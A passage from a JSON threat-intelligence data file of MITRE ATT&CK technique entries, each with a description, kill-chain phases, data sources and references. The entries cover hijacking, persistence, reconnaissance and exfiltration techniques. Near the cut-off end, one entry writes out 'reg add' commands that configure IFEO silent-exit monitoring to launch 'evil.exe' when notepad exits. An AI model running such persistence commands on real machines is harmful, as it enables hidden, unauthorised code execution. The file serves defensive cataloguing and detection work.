"value": "Windows Management Instrumentation Event Subscription - T1546.003"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
"meta": {
"external_id": "T1574.005",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/005",
"https://seclists.org/fulldisclosure/2015/Dec/34",
"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "70d81154-b187-45f9-8ec5-295d01255979",
"value": "Executable Installer File Permissions Weakness - T1574.005"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
"meta": {
"external_id": "CAPEC-38",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/009",
"https://capec.mitre.org/data/definitions/38.html",
"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
"https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b",
"value": "Path Interception by Unquoted Path - T1574.009"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
"meta": {
"external_id": "T1546.012",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
"https://attack.mitre.org/techniques/T1546/012",
"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
"value": "Image File Execution Options Injection - T1546.012"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344).\n\nOnce a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)",
"meta": {
"external_id": "T1344",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1344",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"related": [
{
"dest-uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33",
"value": "Friend/Follow/Connect to targets of interest - T1344"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364).\n\nA form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)",
"meta": {
"external_id": "T1364",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1364"
]
},
"related": [
{
"dest-uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
"value": "Friend/Follow/Connect to targets of interest - T1364"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271).\n\nPersonnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1271",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1271"
]
},
"uuid": "762771c2-3675-4535-88e9-b1f891758974",
"value": "Identify personnel with an authority/privilege - T1271"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239).\n\nApplicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)",
"meta": {
"external_id": "T1239",
"kill_chain": [
"mitre-pre-attack:priority-definition-direction"
],
"refs": [
"https://attack.mitre.org/techniques/T1239"
]
},
"uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e",
"value": "Receive KITs/KIQs and determine requirements - T1239"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)",
"meta": {
"external_id": "T1248",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1248"
]
},
"related": [
{
"dest-uuid": "0722cd65-0c83-4c89-9502-539198467ab1",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "7718e92f-b011-4f88-b822-ae245a1de407",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "c721b235-679a-4d76-9ae9-e08921fccf84",
"value": "Identify job postings and needs/gaps - T1248"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294).\n\nAn adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)",
"meta": {
"external_id": "T1294",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1294"
]
},
"uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8",
"value": "Analyze hardware/software security defensive capabilities - T1294"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255).\n\nEmail addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1255",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1255"
]
},
"uuid": "ef0f816a-d561-4953-84c6-2a2936c96957",
"value": "Discover target logon/email address format - T1255"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)",
"meta": {
"external_id": "T1267",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1267"
]
},
"related": [
{
"dest-uuid": "7718e92f-b011-4f88-b822-ae245a1de407",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "c721b235-679a-4d76-9ae9-e08921fccf84",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "0722cd65-0c83-4c89-9502-539198467ab1",
"value": "Identify job postings and needs/gaps - T1267"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1278",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1278"
]
},
"related": [
{
"dest-uuid": "0722cd65-0c83-4c89-9502-539198467ab1",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "c721b235-679a-4d76-9ae9-e08921fccf84",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "7718e92f-b011-4f88-b822-ae245a1de407",
"value": "Identify job postings and needs/gaps - T1278"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300).\n\nAnalyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)",
"meta": {
"external_id": "T1300",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1300"
]
},
"related": [
{
"dest-uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc",
"value": "Analyze organizational skillsets and deficiencies - T1300"
},
{
"description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network",
"meta": {
"external_id": "T1011",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1011"
]
},
"uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
"value": "Exfiltration Over Other Network Medium - T1011"
},
{
"description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.",
"meta": {
"external_id": "T1410",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1410",
"https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/"
]
},
"related": [],
"uuid": "3b0b604f-10db-41a0-b54c-493124d455b9",
"value": "Network Traffic Capture or Redirection - T1410"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260).\n\nInfrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)",
"meta": {
"external_id": "T1260",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1260"
]
},
"related": [
{
"dest-uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "856a9371-4f0f-4ea9-946e-f3144204240f",
"value": "Determine 3rd party infrastructure services - T1260"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303).\n\nOutsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)",
"meta": {
"external_id": "T1303",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1303"
]
},
"uuid": "34450117-d1d5-417c-bb74-4359fc6551ca",
"value": "Analyze presence of outsourced capabilities - T1303"
},
{
"description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.",
"meta": {
"external_id": "T1530",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Access"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1530",
"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
"https://cloud.google.com/storage/docs/best-practices",
"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide",
"https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/",
"https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia",
"https://www.wired.com/story/magecart-amazon-cloud-hacks/"
]
},
"uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7",
"value": "Data from Cloud Storage Object - T1530"
},
{
"description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
"meta": {
"external_id": "CAPEC-564",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation"
],
"mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1037",
"https://capec.mitre.org/data/definitions/564.html"
]
},
"uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"value": "Boot or Logon Initialization Scripts - T1037"
},
{
"description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
"meta": {
"external_id": "CAPEC-639",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Share: Network Share Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1039",
"https://capec.mitre.org/data/definitions/639.html"
]
},
"uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
"value": "Data from Network Shared Drive - T1039"
},
{
"description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)\n\nOn iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)",
"meta": {
"external_id": "APP-20",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1407",
"https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html",
"https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html",
"https://www.internetsociety.org/sites/default/files/10_5_0.pdf",
"https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei"
]
},
"uuid": "6c49d50f-494d-4150-b774-a655022d20a6",
"value": "Download New Code at Runtime - T1407"
},
{
"description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)",
"meta": {
"external_id": "T1084",
"refs": [
"https://attack.mitre.org/techniques/T1084",
"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
"https://www.secureworks.com/blog/wmi-persistence",
"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
]
},
"related": [
{
"dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4",
"value": "Windows Management Instrumentation Event Subscription - T1084"
},
{
"description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.",
"meta": {
"external_id": "T1094",
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1094"
]
},
"related": [
{
"dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00",
"value": "Custom Command and Control Protocol - T1094"
},
{
"description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.",
"meta": {
"external_id": "T1127",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
"https://attack.mitre.org/techniques/T1127",
"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
"https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/"
]
},
"uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
"value": "Trusted Developer Utilities Proxy Execution - T1127"
},
{
"description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1431",
"refs": [
"https://attack.mitre.org/techniques/T1431"
]
},
"related": [
{
"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2",
"value": "App Delivered via Web Download - T1431"
},
{
"description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d 